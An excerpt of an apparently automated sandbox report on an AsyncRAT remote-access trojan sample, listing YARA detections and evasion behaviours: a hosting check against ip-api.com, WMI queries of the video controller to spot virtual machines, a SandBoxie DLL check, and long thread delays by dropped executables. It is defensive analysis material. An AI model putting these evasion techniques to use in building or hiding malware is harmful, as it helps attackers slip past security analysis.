Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AsyncRAT

Source: Yara match	File source: 2.3.YgJ5inWPQO.exe.1d8a96bd23f.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000003.1477560662.000001D8A96BD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: YgJ5inWPQO.exe PID: 5352, type: MEMORYSTR

Check if machine is in data center or colocation facility

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\msedge.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: YgJ5inWPQO.exe, 00000002.00000003.1479245702.000001D8A966B000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1477560662.000001D8A96BD000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1485033909.000001D8A9686000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000002.1495329200.000001D8A969D000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1477753556.000001D8A9689000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1486802746.000001D8A968D000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1486429771.000001D8A9688000.00000004.00000020.00020000.00000000.sdmp, msedge.exe, 0000000C.00000000.1480505898.00000000003D2000.00000002.00000001.01000000.00000008.sdmp, msedge.exe, 0000000C.00000002.2742589628.0000000002601000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Memory allocated: B10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Memory allocated: 1A600000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Memory allocated: 26232600000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Memory allocated: 2624C050000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\System User.exe	Memory allocated: 1190000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\System User.exe	Memory allocated: 1AE60000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\System User.exe	Memory allocated: F70000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\System User.exe	Memory allocated: 1AD60000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\System User.exe	Memory allocated: 1600000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\System User.exe	Memory allocated: 1B100000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\System User.exe	Memory allocated: 2BA0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\System User.exe	Memory allocated: 1AE00000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\msedge.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 599804	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 599683	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 599578	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 599468	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 599354	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 599125	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 598742	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 598632	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 598515	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 598406	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 598295	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 598187	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 598078	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 597949	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 597844	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 597734	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 597578	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 597176	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 596916	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 596764	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 596647	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dddd.exe	Thread delayed: delay time: 596510	Jump to behavior
